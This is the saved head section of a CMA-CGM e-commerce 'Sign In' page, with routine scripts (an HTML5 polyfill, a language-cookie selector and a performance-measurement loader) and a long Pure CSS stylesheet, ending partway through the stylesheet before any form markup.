<!-- html.form.login.ecom.html -->
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="shortcut icon" type="image/png" href="https://auth.cma-cgm.com/assets/images/ecom/favico/cmacgm.png"/>
<title>Sign In</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script type="text/javascript">
<!--
window["_csrf_"] = "084eae5ec7846800b074586e7e9bd52a4b9ec82a5cf2e39fad4229dccb3cfbb8d1c2fea3a27fd92b6a06b89f5c2c69566f781e08af9c9c0275a3799c78e4febd60d083153904f94809419852760bf16a5c4262d95c0771b59e0e3587729ed7d27a1acc1a083faa412d61dc6ee5fd13db";
//-->
</script>
<script type="text/javascript" src="https://auth.cma-cgm.com/TSbd/08337f9cc5ab200098c9bf786f804c6cd4f8d35ad295482c9b58fcd74625ba236252d06005b7c679?type=2"></script>
<script type="text/javascript">
changePassword=false;
function setFocus() {
var platform = navigator.platform;
if (platform != null && platform.indexOf("iPhone") == -1) {
document.getElementById("login-email").focus();
}
}
(function (l, f) {
function m() {
var a = e.elements;
return "string" == typeof a ? a.split(" ") : a
}
function i(a) {
var b = n[a[o]];
b || (b = {}, h++, a[o] = h, n[h] = b);
return b
}
function p(a, b, c) {
b || (b = f);
if (g) return b.createElement(a);
c || (c = i(b));
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
}
function t(a, b) {
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag();
a.createElement = function (c) {
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
};
a.createDocumentFragment = Function("h,f", "return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" + m().join().replace(/\w+/g, function (a) {
b.createElem(a);
b.frag.createElement(a);
return 'c("' + a + '")'
}) + ");return n}")(e, b.frag)
}
function q(a) {
a || (a = f);
var b = i(a);
if (e.shivCSS && !j && !b.hasCSS) {
var c, d = a;
c = d.createElement("p");
d = d.getElementsByTagName("head")[0] || d.documentElement;
c.innerHTML = "x<style>article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}</style>";
c = d.insertBefore(c.lastChild, d.firstChild);
b.hasCSS = !!c
}
g || t(a, b);
return a
}
var k = l.html5 || {},
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
j, o = "_html5shiv",
h = 0,
n = {},
g;
(function () {
try {
var a = f.createElement("a");
a.innerHTML = "<xyz></xyz>";
j = "hidden" in a;
var b;
if (!(b = 1 == a.childNodes.length)) {
f.createElement("a");
var c = f.createDocumentFragment();
b = "undefined" == typeof c.cloneNode ||
"undefined" == typeof c.createDocumentFragment || "undefined" == typeof c.createElement
}
g = b
} catch (d) {
g = j = !0
}
})();
var e = {
elements: k.elements || "abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video",
version: "3.6.2",
shivCSS: !1 !== k.shivCSS,
supportsUnknownElements: g,
shivMethods: !1 !== k.shivMethods,
type: "default",
shivDocument: q,
createElement: p,
createDocumentFragment: function (a, b) {
a || (a = f);
if (g) return a.createDocumentFragment();
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
return c
}
};
l.html5 = e;
q(f)
})(this, document);
var languageModule = (function () {
var self = {};
var languageRegexp = /Language(%3d|=)([a-zA-Z]{2})(-[a-zA-Z]{2})?/i
function addEvent(obj, event, fct) {
if (obj.attachEvent)
obj.attachEvent("on" + event, fct);
else
obj.addEventListener(event, fct, true);
}
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString();
}
else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
function updateUrlParameter(value,changePassword){
var parameter = "Language";
var cookie = "pf-accept-language";
createCookie(cookie, value.value);
var url = window.location.href;
var query = parameter + "=" + value.value;
if(changePassword){
if(url.indexOf('ChangePassword') < 0) {
query+='&ChangePassword=true'
}
}
url = url.replace("validation","init");
var languageElement = document.getElementById("Language");
if(languageElement){
languageElement.value=value.value;
}
if(url.indexOf(parameter) > -1) {
window.location.href = url.replace(languageRegexp, query);
} else {
url += (url.indexOf('?') > -1) ? '&' + query : '?' + query;
window.location.href = url
};
}
function indexOfLanguage(language, element) {
var options = element.options;
for (i = 0; i < options.length; i++) {
var value = options[i];
if (value.value.indexOf(language) > -1) {
return i;
}
}
return 0;
}
function setupLanguage(index, element) {
element.selectedIndex = index;
}
function initPage() {
applyLanguage();
}
function getCurrentLanguage(){
var languageParam = window.location.href.match(languageRegexp);
if( languageParam != null) {
return languageParam[2];
}
var language = readCookie("pf-accept-language");
if (language === null) {
language = window.navigator.userLanguage || window.navigator.language;
}
return language;
}
self.getCurrentLanguageParameterValue = function(){
var language = getCurrentLanguage();
var element = document.getElementById("dlSelectLanguage");
var index = indexOfLanguage(language, element);
if (index > -1) {
return element[index].value;
} else {
return "en-GB"
}
}
function applyLanguage() {
var language = getCurrentLanguage();
var element = document.getElementById("dlSelectLanguage");
var index = indexOfLanguage(language, element);
if (index > -1) {
setupLanguage(index, element);
createCookie("pf-accept-language", language);
} else {
createCookie("pf-accept-language", "en-GB");
setupLanguage(0, element);
}
}
addEvent(window, "load",
function () {
addEvent(document.getElementById("dlSelectLanguage"), "change",
function () {
updateUrlParameter(this,changePassword);
}
);
initPage();
}
);
return self;
}()); (function(e,c,a,g,f){function d(){var b=c.createElement("script");b.async=!0;
b.src="//radar.cedexis.com/1/²/radar.js";c.body.appendChild(b)}
(function(){for(var b=[/\bMSIE (5|6)/i],a=b.length;a--;)if(b[a]
.test(navigator.userAgent))return!1;return!0})()
&&("complete"!==c.readyState?(a=e[a])?a(f,d,!1):(a=e[g])&&a("on"+f,d):d())})
(window,document,"addEventListener","attachEvent","load");
</script>
<style>
* {
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box
}
html {
font-family: sans-serif;
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
font-size: 62.5%
}
body {
margin: 0;
font-family: verdana, helvetica, arial, sans-serif;
font-size: 1.1em;
line-height: 1.455
}
.main {
margin-top: 10px;
position: relative
}
.wrapper {
width: 960px;
margin: 0 auto
}
.clearfix:after {
content: "";
display: table;
clear: both
}
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
display: block
}
audio,
canvas,
progress,
video {
display: inline-block;
vertical-align: baseline
}
audio:not([controls]) {
display: none;
height: 0
}
[hidden],
template {
display: none
}
a {
background-color: transparent;
color: #2563d9;
text-decoration: none
}
a:active,
a:hover {
outline: 0
}
abbr[title] {
border-bottom: 1px dotted
}
b,
strong {
font-weight: 700
}
dfn {
font-style: italic
}
h1 {
font-size: 2.546em;
font-weight: normal;
margin: .67em 0 0;
color: #184894;
font-family: Arial, Helvetica, sans-serif
}
mark {
background: #ff0;
color: #000
}
small {
font-size: 80%
}
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline
}
sup {
top: -.5em
}
sub {
bottom: -.25em
}
img {
border: 0
}
svg:not(:root) {
overflow: hidden
}
figure {
margin: 1em 40px
}
hr {
display: block;
clear: both;
position: relative;
top: 20px;
height: 1px;
margin: 0 0 40px 0;
padding: 0;
border: 0;
color: #cecece;
background-color: #cecece;
line-height: 1
}
hr.full {
margin-left: -30px;
width: 120%
}
pre {
overflow: auto
}
code,
kbd,
pre,
samp {
font-family: monospace, monospace;
font-size: 1em
}
button,
input,
optgroup,
select,
textarea {
color: inherit;
font: inherit;
margin: 0
}
button {
overflow: visible
}
button,
select {
text-transform: none
}
button,
html input[type=button],
input[type=reset],
input[type=submit] {
-webkit-appearance: button;
cursor: pointer
}
button[disabled],
html input[disabled] {
cursor: default
}
button::-moz-focus-inner,
input::-moz-focus-inner {
border: 0;
padding: 0
}
input {
line-height: normal
}
input[type=checkbox],
input[type=radio] {
box-sizing: border-box;
padding: 0
}
input[type=number]::-webkit-inner-spin-button,
input[type=number]::-webkit-outer-spin-button {
height: auto
}
input[type=search] {
-webkit-appearance: textfield;
-moz-box-sizing: content-box;
-webkit-box-sizing: content-box;
box-sizing: content-box
}
input[type=search]::-webkit-search-cancel-button,
input[type=search]::-webkit-search-decoration {
-webkit-appearance: none
}
fieldset {
border: 1px solid silver;
margin: 0 2px;
padding: .35em .625em .75em
}
legend {
border: 0;
padding: 0
}
textarea {
overflow: auto
}
optgroup {
font-weight: 700
}
table {
border-collapse: collapse;
border-spacing: 0
}
td,
th {
padding: 0
}
.hidden,
[hidden] {
display: none !important
}
.header {
margin-top: 20px
}
.pull-right {
float: right
}
.footer {
margin-top: 50px;
color: #656565;
}
.footer .inner {
padding: 8px 0 20px;
border-top: 1px solid #d7d7d9;
position: relative;
text-align: center;
}
.login {
margin-top: 20px;
float: right;
position: relative;
z-index: 2;
overflow: hidden;
width: 410px;
min-height: 378px;
border-right: none;
padding: 0 30px 20px 30px;
background-color: rgba(255, 255, 255, .8)
}
.login input {
width: 230px
}
.login .pure-controls {
text-align: right
}
.login form a {
margin-left: 120px
}
.info iframe {
position: absolute;
top: 0;
z-index: 1;
height: 420px;
left: -32px;
width: 1024px
}
.pure-img {
max-width: 100%;
height: auto;
display: block
}
.pure-button {
display: inline-block;
zoom: 1;
line-height: normal;
white-space: nowrap;
vertical-align: middle;
text-align: center;
cursor: pointer;
-webkit-user-drag: none;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box
}
.pure-button::-moz-focus-inner {
padding: 0;
border: 0
}
.pure-button {
font-family: inherit;
font-size: 100%;
padding: 6px 12px;
color: #fff;
border: none;
background-color: #888;
text-decoration: none;
font-size: 1.182em;
font-family: Helvetica, Arial, sans-serif
}
.pure-button:focus {
outline: 0
}
.pure-button-active,
.pure-button:active {
box-shadow: 0 0 0 1px rgba(0, 0, 0, .15) inset, 0 0 6px rgba(0, 0, 0, .2) inset;
border-color: #000
}
.pure-button[disabled],
.pure-button-disabled,
.pure-button-disabled:hover,
.pure-button-disabled:focus,
.pure-button-disabled:active {
border: 0;
background-image: none;
filter: progid: DXImageTransform.Microsoft.gradient(enabled=false);
filter: alpha(opacity=40);
-khtml-opacity: .4;
-moz-opacity: .4;
opacity: .4;
cursor: not-allowed;
box-shadow: none
}
.pure-button-hidden {
display: none
}
.pure-button::-moz-focus-inner {
padding: 0;
border: 0
}
.pure-button-primary,
.pure-button-selected,
a.pure-button-primary,
a.pure-button-selected {
background-color: #d81772
}
.pure-form input[type=text],
.pure-form input[type=password],
.pure-form input[type=email],
.pure-form input[type=url],
.pure-form input[type=date],
.pure-form input[type=month],
.pure-form input[type=time],
.pure-form input[type=datetime],
.pure-form input[type=datetime-local],
.pure-form input[type=week],
.pure-form input[type=number],
.pure-form input[type=search],
.pure-form input[type=tel],
.pure-form input[type=color],
.pure-form select,
.pure-form textarea {
padding: .4em .4em .5em .4em;
display: inline-block;
border: 1px solid #ccc;
border: 1px solid #8d8d8d;
vertical-align: middle;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box
}
.pure-form input:not([type]) {
padding: .5em .6em;
display: inline-block;
border: 1px solid #ccc;
box-shadow: inset 0 1px 3px #ddd;
border-radius: 4px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box
}
.pure-form input[type=color] {
padding: .2em .5em
}
.pure-form input[type=text]:focus,
.pure-form input[type=password]:focus,
.pure-form input[type=email]:focus,
.pure-form input[type=url]:focus,
.pure-form input[type=date]:focus,
.pure-form input[type=month]:focus,
.pure-form input[type=time]:focus,
.pure-form input[type=datetime]:focus,
.pure-form input[type=datetime-local]:focus,
.pure-form input[type=week]:focus,
.pure-form input[type=number]:focus,
.pure-form input[type=search]:focus,
.pure-form input[type=tel]:focus,
.pure-form input[type=color]:focus,
.pure-form select:focus,
.pure-form textarea:focus {
outline: 0;
border-color: #129FEA
}
.pure-form input:not([type]):focus {
outline: 0;
border-color: #129FEA
}
.pure-form input[type=file]:focus,
.pure-form input[type=radio]:focus,
.pure-form input[type=checkbox]:focus {
outline: thin solid #129FEA;
outline: 1px auto #129FEA
}
.pure-form .pure-checkbox,
.pure-form .pure-radio {
margin: .5em 0;
display: block
}
.pure-form input[type=text][disabled],
.pure-form input[type=password][disabled],
.pure-form input[type=email][disabled],
.pure-form input[type=url][disabled],
.pure-form input[type=date][disabled],
.pure-form input[type=month][disabled],
.pure-form input[type=time][disabled],
.pure-form input[type=datetime][disabled],
.pure-form input[type=datetime-local][disabled],
.pure-form input[type=week][disabled],
.pure-form input[type=number][disabled],
.pure-form input[type=search][disabled],
.pure-form input[type=tel][disabled],
.pure-form input[type=color][disabled],
.pure-form select[disabled],
.pure-form textarea[disabled] {
cursor: not-allowed;
background-color: #eaeded;
color: #cad2d3
}
.pure-form input:not([type])[disabled] {
cursor: not-allowed;
background-color: #eaeded;
color: #cad2d3
}
.pure-form input[readonly],
.pure-form select[readonly],
.pure-form textarea[readonly] {
background-color: #eee;
color: #777;
border-color: #ccc
}
.pure-form input:focus:invalid,
.pure-form textarea:focus:invalid,
.pure-form select:focus:invalid {
color: #b94a48;
border-color: #e9322d
}
.pure-form input[type=file]:focus:invalid:focus,
.pure-form input[type=radio]:focus:invalid:focus,
.pure-form input[type=checkbox]:focus:invalid:focus {
outline-color: #e9322d
}
.pure-form select {
height: 2.25em;
border: 1px solid #ccc;
background-color: #fff
}
.pure-form select[multiple] {
height: auto
}
.pure-form label {
margin: .5em 0 .2em
}
.pure-form fieldset {
margin: 0;
padding: 0;
border: 0
}
.pure-form legend {
display: block;
width: 100%;
padding: .3em 0;
margin-bottom: .3em;
color: #333;
border-bottom: 1px solid #e5e5e5
}
.pure-form-stacked input[type=text],
.pure-form-stacked input[type=password],
.pure-form-stacked input[type=email],
.pure-form-stacked input[type=url],
.pure-form-stacked input[type=date],
.pure-form-stacked input[type=month],
.pure-form-stacked input[type=time],
.pure-form-stacked input[type=datetime],
.pure-form-stacked input[type=datetime-local],
.pure-form-stacked input[type=week],
.pure-form-stacked input[type=number],
.pure-form-stacked input[type=search],
.pure-form-stacked input[type=tel],
.pure-form-stacked input[type=color],
.pure-form-stacked input[type=file],
.pure-form-stacked select,
.pure-form-stacked label,
.pure-form-stacked textarea {
display: block;
margin: .25em 0
}
.pure-form-stacked input:not([type]) {
display: block;
margin: .25em 0
}
.pure-form-aligned input,
.pure-form-aligned textarea,
.pure-form-aligned select,
.pure-form-aligned .pure-help-inline,
.pure-form-message-inline {
display: inline-block;
*display: inline;
*zoom: 1;
vertical-align: middle
}
.pure-form-aligned textarea {
vertical-align: top
}
.pure-form-aligned .pure-control-group {
margin-top: 1.5em;
margin-bottom: .5em
}
.pure-form-aligned .pure-control-group label {
text-align: right;
display: inline-block;
vertical-align: middle;
width: 9.5em;
margin: 0 1em 0 0
}
.pure-form-aligned .pure-controls {
margin: 1.5em 0 0 11em
}
.pure-form input.pure-input-rounded,
.pure-form .pure-input-rounded {
border-radius: 2em;
padding: .5em 1em
}
.pure-form .pure-group fieldset {
margin-bottom: 10px
}
.pure-form .pure-group input,
.pure-form .pure-group textarea {
display: block;
padding: 10px;
margin: 0 0 -1px;
border-radius: 0;
position: relative;
top: -1px
}
.pure-form .pure-group input:focus,
.pure-form .pure-group textarea:focus {
z-index: 3
}
.pure-form .pure-group input:first-child,
.pure-form .pure-group textarea:first-child {
top: 1px;
border-radius: 4px 4px 0 0;
margin: 0
}
.pure-form .pure-group input:first-child:last-child,
.pure-form .pure-group textarea:first-child:last-child {
top: 1px;
border-radius: 4px;
margin: 0
}
.pure-form .pure-group input:last-child,
.pure-form .pure-group textarea:last-child {
top: -2px;
border-radius: 0 0 4px 4px;
margin: 0
}
.pure-form .pure-group button {
margin: .35em 0
}
.pure-form .pure-input-1 {
width: 100%
}
.pure-form .pure-input-2-3 {
width: 66%
}
.pure-form .pure-input-1-2 {
width: 50%
}
.pure-form .pure-input-1-3 {
width: 33%
}
.pure-form .pure-input-1-4 {
width: 25%
}
.pure-form .pure-help-inline,
.pure-form-message-inline {
display: inline-block;
padding-left: .3em;
color: #666;
vertical-align: middle;
font-size: .875em
}
.pure-form-message {
display: block;
color: #666;
font-size: .875em
}
@media only screen and (max-width:480px) {
.pure-form button[type=submit] {
margin: .7em 0 0
}
.pure-form input:not([type]),
.pure-form input[type=text],
.pure-form input[type=password],
.pure-form input[type=email],
.pure-form input[type=url],
.pure-form input[type=date],
.pure-form input[type=month],
.pure-form input[type=time],
.pure-form input[type=datetime],
.pure-form input[type=datetime-local],
.pure-form input[type=week],
.pure-form input[type=number],
.pure-form input[type=search],
.pure-form input[type=tel],
.pure-form input[type=color],
.pure-form label {
margin-bottom: .3em;
display: block
}
.pure-group input:not([type]),
.pure-group input[type=text],
.pure-group input[type=password],
.pure-group input[type=email],
.pure-group input[type=url],
.pure-group input[type=date],
.pure-group input[type=month],
.pure-group input[type=time],
.pure-group input[type=datetime],
.pure-group input[type=datetime-local],
.pure-group input[type=week],
.pure-group input[type=number],
.pure-group input[type=search],
.pure-group input[type=tel],
.pure-group input[type=color] {
margin-bottom: 0
}
.pure-form-aligned .pure-control-group label {
margin-bottom: .3em;
text-align: left;
display: block;
width: 100%
}
.pure-form-aligned .pure-controls {
margin: 1.5em 0 0
}
.pure-form .pure-help-inline,
.pure-form-message-inline,
.pure-form-message {
display: block;
font-size: .75em;
padding: .2em 0 .8em
}
}
@media screen and (min-width:35.5em) {
.pure-u-sm-1,
.pure-u-sm-1-1,
.pure-u-sm-1-2,
.pure-u-sm-1-3,
.pure-u-sm-2-3,
.pure-u-sm-1-4,
.pure-u-sm-3-4,
.pure-u-sm-1-5,
.pure-u-sm-2-5,
.pure-u-sm-3-5,
.pure-u-sm-4-5,
.pure-u-sm-5-5,
.pure-u-sm-1-6,
.pure-u-sm-5-6,
.pure-u-sm-1-8,
.pure-u-sm-3-8,
.pure-u-sm-5-8,
.pure-u-sm-7-8,
.pure-u-sm-1-12,
.pure-u-sm-5-12,
.pure-u-sm-7-12,
.pure-u-sm-11-12,
.pure-u-sm-1-24,
.pure-u-sm-2-24,
.pure-u-sm-3-24,
.pure-u-sm-4-24,
.pure-u-sm-5-24,
.pure-u-sm-6-24,
.pure-u-sm-7-24,
.pure-u-sm-8-24,
.pure-u-sm-9-24,
.pure-u-sm-10-24,
.pure-u-sm-11-24,
.pure-u-sm-12-24,
.pure-u-sm-13-24,
.pure-u-sm-14-24,
.pure-u-sm-15-24,
.pure-u-sm-16-24,
.pure-u-sm-17-24,
.pure-u-sm-18-24,
.pure-u-sm-19-24,
.pure-u-sm-20-24,
.pure-u-sm-21-24,
.pure-u-sm-22-24,
.pure-u-sm-23-24,
.pure-u-sm-24-24 {
display: inline-block;
*display: inline;
zoom: 1;
letter-spacing: normal;
word-spacing: normal;
vertical-align: top;
text-rendering: auto
}
.pure-u-sm-1-24 {
width: 4.1667%;
*width: 4.1357%
}
.pure-u-sm-1-12,
.pure-u-sm-2-24 {
width: 8.3333%;
*width: 8.3023%
}
.pure-u-sm-1-8,
.pure-u-sm-3-24 {
width: 12.5%;
*width: 12.469%
}
.pure-u-sm-1-6,
.pure-u-sm-4-24 {
width: 16.6667%;
*width: 16.6357%
}
.pure-u-sm-1-5 {
width: 20%;
*width: 19.969%
}
.pure-u-sm-5-24 {
width: 20.8333%;
*width: 20.8023%
}
.pure-u-sm-1-4,
.pure-u-sm-6-24 {
width: 25%;
*width: 24.969%
}
.pure-u-sm-7-24 {
width: 29.1667%;
*width: 29.1357%
}
.pure-u-sm-1-3,
.pure-u-sm-8-24 {
width: 33.3333%;
*width: 33.3023%
}
.pure-u-sm-3-8,
.pure-u-sm-9-24 {
width: 37.5%;
*width: 37.469%
}
.pure-u-sm-2-5 {
width: 40%;
*width: 39.969%
}
.pure-u-sm-5-12,
.pure-u-sm-10-24 {
width: 41.6667%;
*width: 41.6357%
}
.pure-u-sm-11-24 {
width: 45.8333%;
*width: 45.8023%
}
.pure-u-sm-1-2,
.pure-u-sm-12-24 {
width: 50%;
*width: 49.969%
}
.pure-u-sm-13-24 {
width: 54.1667%;
*width: 54.1357%
}
.pure-u-sm-7-12,
.pure-u-sm-14-24 {
width: 58.3333%;
*width: 58.3023%
}
.pure-u-sm-3-5 {
width: 60%;
*width: 59.969%
}
.pure-u-sm-5-8,
.pure-u-sm-15-24 {
width: 62.5%;
*width: 62.469%
}
.pure-u-sm-2-3,
.pure-u-sm-16-24 {
width: 66.6667%;
*width: 66.6357%
}
.pure-u-sm-17-24 {
width: 70.8333%;
*width: 70.8023%
}
.pure-u-sm-3-4,
.pure-u-sm-18-24 {
width: 75%;
*width: 74.969%
}
.pure-u-sm-19-24 {
width: 79.1667%;
*width: 79.1357%
}
.pure-u-sm-4-5 {
width: 80%;
*width: 79.969%
}
.pure-u-sm-5-6,
.pure-u-sm-20-24 {
width: 83.3333%;
*width: 83.3023%
}
.pure-u-sm-7-8,
.pure-u-sm-21-24 {
width: 87.5%;
*width: 87.469%
}
.pure-u-sm-11-12,
.pure-u-sm-22-24 {
width: 91.6667%;
*width: 91.6357%
}
.pure-u-sm-23-24 {
width: 95.8333%;
*width: 95.8023%
}
.pure-u-sm-1,
.pure-u-sm-1-1,
.pure-u-sm-5-5,
.pure-u-sm-24-24 {
width: 100%
}
}
@media screen and (min-width:48em) {
.pure-u-md-1,
.pure-u-md-1-1,
.pure-u-md-1-2,
.pure-u-md-1-3,
.pure-u-md-2-3,
.pure-u-md-1-4,
.pure-u-md-3-4,
.pure-u-md-1-5,
.pure-u-md-2-5,
.pure-u-md-3-5,
.pure-u-md-4-5,
.pure-u-md-5-5,
.pure-u-md-1-6,
.pure-u-md-5-6,
.pure-u-md-1-8,
.pure-u-md-3-8,
.pure-u-md-5-8,
.pure-u-md-7-8,
.pure-u-md-1-12,
.pure-u-md-5-12,
.pure-u-md-7-12,
.pure-u-md-11-12,
.pure-u-md-1-24,
.pure-u-md-2-24,
.pure-u-md-3-24,
.pure-u-md-4-24,
.pure-u-md-5-24,
.pure-u-md-6-24,
.pure-u-md-7-24,
.pure-u-md-8-24,
.pure-u-md-9-24,
.pure-u-md-10-24,
.pure-u-md-11-24,
.pure-u-md-12-24,
.pure-u-md-13-24,
.pure-u-md-14-24,
.pure-u-md-15-24,
.pure-u-md-16-24,
.pure-u-md-17-24,
.pure-u-md-18-24,
.pure-u-md-19-24,
.pure-u-md-20-24,
.pure-u-md-21-24,
.pure-u-md-22-24,
.pure-u-md-23-24,
.pure-u-md-24-24 {
display: inline-block;
*display: inline;
zoom: 1;
letter-spacing: normal;
word-spacing: normal;
vertical-align: top;
text-rendering: auto
}
.pure-u-md-1-24 {
width: 4.1667%;
*width: 4.1357%
}
.pure-u-md-1-12,
.pure-u-md-2-24 {
width: 8.3333%;
*width: 8.3023%
}
.pure-u-md-1-8,
.pure-u-md-3-24 {
width: 12.5%;
*width: 12.469%
}
.pure-u-md-1-6,
.pure-u-md-4-24 {
width: 16.6667%;
*width: 16.6357%
}
.pure-u-md-1-5 {
width: 20%;
*width: 19.969%
}
.pure-u-md-5-24 {
width: 20.8333%;
*width: 20.8023%
}
.pure-u-md-1-4,
.pure-u-md-6-24 {
width: 25%;
*width: 24.969%
}
.pure-u-md-7-24 {
width: 29.1667%;
*width: 29.1357%
}
.pure-u-md-1-3,
.pure-u-md-8-24 {
width: 33.3333%;
*width: 33.3023%
}
.pure-u-md-3-8,
.pure-u-md-9-24 {
width: 37.5%;
*width: 37.469%
}
.pure-u-md-2-5 {
width: 40%;
*width: 39.969%
}
.pure-u-md-5-12,
.pure-u-md-10-24 {
width: 41.6667%;
*width: 41.6357%
}
.pure-u-md-11-24 {
width: 45.8333%;
*width: 45.8023%
}
.pure-u-md-1-2,
.pure-u-md-12-24 {
width: 50%;
*width: 49.969%
}
.pure-u-md-13-24 {
width: 54.1667%;
*width: 54.1357%
}
.pure-u-md-7-12,
.pure-u-md-14-24 {
width: 58.3333%;
*width: 58.3023%
}
.pure-u-md-3-5 {
width: 60%;
*width: 59.969%
}
.pure-u-md-5-8,
.pure-u-md-15-24 {
width: 62.5%;
*width: 62.469%
}
.pure-u-md-2-3,
.pure-u-md-16-24 {
width: 66.6667%;
*width: 66.6357%
}
.pure-u-md-17-24 {
width: 70.8333%;
*width: 70.8023%
}
.pure-u-md-3-4,
.pure-u-md-18-24 {
width: 75%;
*width: 74.969%
}
.pure-u-md-19-24 {
width: 79.1667%;
*width: 79.1357%
}
.pure-u-md-4-5 {
width: 80%;
*width: 79.969%
}
.pure-u-md-5-6,
.pure-u-md-20-24 {
width: 83.3333%;
*width: 83.3023%
}
.pure-u-md-7-8,
.pure-u-md-21-24 {
width: 87.5%;
*width: 87.469%
}
.pure-u-md-11-12,
.pure-u-md-22-24 {
width: 91.6667%;
*width: 91.6357%
}
.pure-u-md-23-24 {
width: 95.8333%;
*width: 95.8023%
}
.pure-u-md-1,
.pure-u-md-1-1,
.pure-u-md-5-5,
.pure-u-md-24-24 {
width: 100%
}
}
@media screen and (min-width:64em) {
.pure-u-lg-1,
.pure-u-lg-1-1,
.pure-u-lg-1-2,
.pure-u-lg-1-3,
.pure-u-lg-2-3,
.pure-u-lg-1-4,
.pure-u-lg-3-4,
.pure-u-lg-1-5,
.pure-u-lg-2-5,
.pure-u-lg-3-5,
.pure-u-lg-4-5,
.pure-u-lg-5-5,
.pure-u-lg-1-6,
.pure-u-lg-5-6,
.pure-u-lg-1-8,
.pure-u-lg-3-8,
.pure-u-lg-5-8,
.pure-u-lg-7-8,
.pure-u-lg-1-12,
.pure-u-lg-5-12,
.pure-u-lg-7-12,
.pure-u-lg-11-12,
.pure-u-lg-1-24,
.pure-u-lg-2-24,
.pure-u-lg-3-24,
.pure-u-lg-4-24,
.pure-u-lg-5-24,
.pure-u-lg-6-24,
.pure-u-lg-7-24,
.pure-u-lg-8-24,
.pure-u-lg-9-24,
.pure-u-lg-10-24,
.pure-u-lg-11-24,
.pure-u-lg-12-24,
.pure-u-lg-13-24,
.pure-u-lg-14-24,
.pure-u-lg-15-24,
.pure-u-lg-16-24,
.pure-u-lg-17-24,
.pure-u-lg-18-24,
.pure-u-lg-19-24,
.pure-u-lg-20-24,
.pure-u-lg-21-24,
.pure-u-lg-22-24,
.pure-u-lg-23-24,
.pure-u-lg-24-24 {
display: inline-block;
*display: inline;
zoom: 1;
letter-spacing: normal;
word-spacing: normal;
vertical-align: top;
text-rendering: auto
}
.pure-u-lg-1-24 {
width: 4.1667%;
*width: 4.1357%
}
.pure-u-lg-1-12,
.pure-u-lg-2-24 {
width: 8.3333%;
*width: 8.3023%
}
.pure-u-lg-1-8,
.pure-u-lg-3-24 {
width: 12.5%;
*width: 12.469%
}
.pure-u-lg-1-6,
.pure-u-lg-4-24 {
width: 16.6667%;
*width: 16.6357%
}
.pure-u-lg-1-5 {
width: 20%;
*width: 19.969%
}
.pure-u-lg-5-24 {
width: 20.8333%;
*width: 20.8023%
}
.pure-u-lg-1-4,
.pure-u-lg-6-24 {
width: 25%;
*width: 24.969%
}
.pure-u-lg-7-24 {
width: 29.1667%;
*width: 29.1357%
}
.pure-u-lg-1-3,
.pure-u-lg-8-24 {
width: 33.3333%;
*width: 33.3023%
}
.pure-u-lg-3-8,
.pure-u-lg-9-24 {
width: 37.5%;
*width: 37.469%
}
.pure-u-lg-2-5 {
width: 40%;
*width: 39.969%
}
.pure-u-lg-5-12,
.pure-u-lg-10-24 {
width: 41.6667%;
*width: 41.6357%
}
.pure-u-lg-11-24 {
width: 45.8333%;
*width: 45.8023%
}
.pure-u-lg-1-2,
.pure-u-lg-12-24 {
width: 50%;
*width: 49.969%
}
.pure-u-lg-13-24 {
width: 54.1667%;
*width: 54.1357%
}
.pure-u-lg-7-12,
.pure-u-lg-14-24 {
width: 58.3333%;
*width: 58.3023%
}
.pure-u-lg-3-5 {
width: 60%;
*width: 59.969%
}
.pure-u-lg-5-8,
.pure-u-lg-15-24 {
width: 62.5%;
*width: 62.469%
}
.pure-u-lg-2-3,
.pure-u-lg-16-24 {
width: 66.6667%;
*width: 66.6357%
}
.pure-u-lg-17-24 {
width: 70.8333%;
*width: 70.8023%
}
.pure-u-lg-3-4,
.pure-u-lg-18-24 {
width: 75%;
*width: 74.969%
}
.pure-u-lg-19-24 {
width: 79.1667%;
*width: 79.1357%
}
.pure-u-lg-4-5 {
width: 80%;
*width: 79.969%
}
.pure-u-lg-5-6,
.pure-u-lg-20-24 {
width: 83.3333%;
*width: 83.3023%
}
.pure-u-lg-7-8,
.pure-u-lg-21-24 {
width: 87.5%;
*width: 87.469%
}
.pure-u-lg-11-12,
.pure-u-lg-22-24 {
width: 91.6667%;
*width: 91.6357%
}
.pure-u-lg-23-24 {
width: 95.8333%;
*width: 95.8023%
}
